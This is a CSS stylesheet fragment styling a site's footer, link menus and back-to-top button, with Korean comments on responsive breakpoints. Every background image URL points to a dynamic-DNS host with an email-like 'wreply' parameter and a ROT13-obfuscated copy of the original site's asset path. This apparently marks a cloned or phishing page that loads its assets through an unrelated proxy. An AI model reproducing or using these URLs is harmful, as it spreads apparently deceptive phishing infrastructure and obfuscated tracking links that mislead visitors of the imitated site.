    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Syvax_nee_oynpx.cat") no-repeat right 2rem center;
    background-size:1.4rem auto;
    column-gap:0.5rem;
}
#footer .flink ul li a br {display:none;}
#footer .finfo {
    display:flex;
    width:124rem;
    margin:0 auto;
    padding:5rem 0 6rem;
    column-gap:6rem;
    align-items:flex-start;
}
#footer .finfo .flogo {
    font-size:0;
    width:24.2rem;
    height:4.8rem;
    background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Sybtb_oynpx.cat") no-repeat center;
    background-size:contain;
}
#footer .finfo .addr-copy {

}
#footer .finfo .addr-copy p.addr {
    font-size:1.8rem;
    color:#888;
}
#footer .finfo .addr-copy p.addr a {
    font-size:1.6rem;
    color:#888;
    text-decoration:underline;
}
#footer .finfo .addr-copy p.copy {
    margin-top:1rem;
    font-size:1.3rem;
    color:#888;
}
#footer .finfo .fmenu {
    margin-left:auto;
    display:flex;
    align-items:center;
}
#footer .finfo .fmenu span {
    display:inline-block;
    width:1px;
    height:1.4rem;
    background:#bbb;
    margin:0 2rem;
}
#footer .finfo .fmenu a {
    display:inline-block;
    white-space:nowrap;
    font-size:1.5rem;
    color:#000;
}

#footer .finfo .rsite {
    margin-left:auto;    
    display:flex;
    justify-content:space-between;    
    column-gap:1rem;
}
#footer .finfo .rsite .sl {
    flex:1;
    position:relative;
}
#footer .finfo .rsite .sl > a {
    display:inline-block; 
    width:30rem;
    border:solid 1px #e7eef4; 
    outline-style:none; 
    vertical-align:middle;
    padding:0 2.5rem 0 1rem; 
    height:4.4rem; 
    line-height:4.4rem; 
    border-radius:0;
    color:#000; 
    font-size:1.4rem; 
    font-weight:400;
    background:#e7eef4 url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Syvax_nee_oynpx.cat") no-repeat right 1rem center;
    background-size:1rem auto;
    -webkit-appearance: none;
    -moz-appearance: none;
    appearance: none; 
}
#footer .finfo .rsite .sl > a:focus {
    border:solid 1px #000;
}
#footer .finfo .rsite .sl .link {
    display:none;
    position:absolute;
    bottom:100%;
    left:0;
    width:100%;
}
#footer .finfo .rsite .sl:focus ul,
#footer .finfo .rsite .sl:hover ul {
    display:block;
}
#footer .finfo .rsite .sl .link li {
    border:solid 1px #ddd;
    margin-top:-1px;
}
#footer .finfo .rsite .sl .link li a {
    display:block;
    background:#fff;
    padding:1rem;
    font-size:1.4rem;
    color:#000;
    font-weight:400;
    white-space:nowrap;
}
#footer .finfo .rsite .sl .link li.blank a {
    background:#fff url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Snvpba_yl.cat") no-repeat right 1.5rem center;
    background-size:1.8rem auto;
}

/* 반응형 */
@media all and (max-width:1280px) {
    #footer .ftop {padding:3rem 2rem;}
    #footer .fbanner {width:100%;}
    #footer .flink {padding:0 2rem; width:100%;}
    #footer .finfo {width:100%; padding:5rem 2rem 6rem;}
    #footer .finfo .rsite {
        margin-left:auto;   
        margin-right:auto; 
    }
}
/* 반응형 */
@media all and (max-width:1120px) {
    #footer .flink ul li a br {display:block;}
    #footer .finfo {flex-wrap:wrap; justify-content:center;}
    #footer .finfo .flogo {}
    #footer .finfo .addr-copy {flex-basis:100%; text-align:center; margin:3rem 0;}
    #footer .finfo .addr-copy p.copy {font-size:1.5rem;}
    #footer .finfo .addr-copy p.addr {font-size:1.5rem;}
    #footer .finfo .addr-copy p.addr a {
        font-size:1.5rem;
    }
    #footer .finfo .fmenu {flex-basis:100%; justify-content:center;}
}
/* 반응형 */
@media all and (max-width:890px) {
    #footer .fbanner {flex-wrap:wrap}
    #footer .fbanner > div.control {flex-basis:100%; justify-content:center; margin-bottom:1.5rem;}
    #footer .fbanner > div.banner .bx-viewport {padding-left:0.5rem;}
    #footer .flink ul {flex-wrap:wrap; column-gap:2%;}
    #footer .flink ul li {flex-basis:48%; margin-bottom:2%;}
    #footer .finfo {padding:4rem 2rem 6rem;}
}
/* 반응형 */
@media all and (max-width:540px) {
    #footer .finfo .addr-copy p.copy span {display:block;}
}





/* 상단으로 */
.gotop {
    position:fixed;
    bottom:12rem;
    right:4rem;
    width:8rem;
    height:8rem;
    border-radius:100%;
    background:rgba(25,124,209,0.2);
    display:flex;
    align-items:center;
    justify-content:center;
    z-index:300;
}
.gotop a {
    display:block;
    width:5.5rem;
    height:5.5rem;
    font-size:0;
    background:#1041c1 url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sxvns.xe%2Sarj%2Spff%2S..%2Svzt%2Stb_gbc.cat") no-repeat center;
    background-size:2.7rem auto;
    border-radius:100%;
}
/* 반응형 */
@media all and (max-width:1280px) {
    .gotop {right:2rem;}
}
/* 반응형 */
@media all and (max-width:1120px) {
    .gotop {bottom:2rem;}
}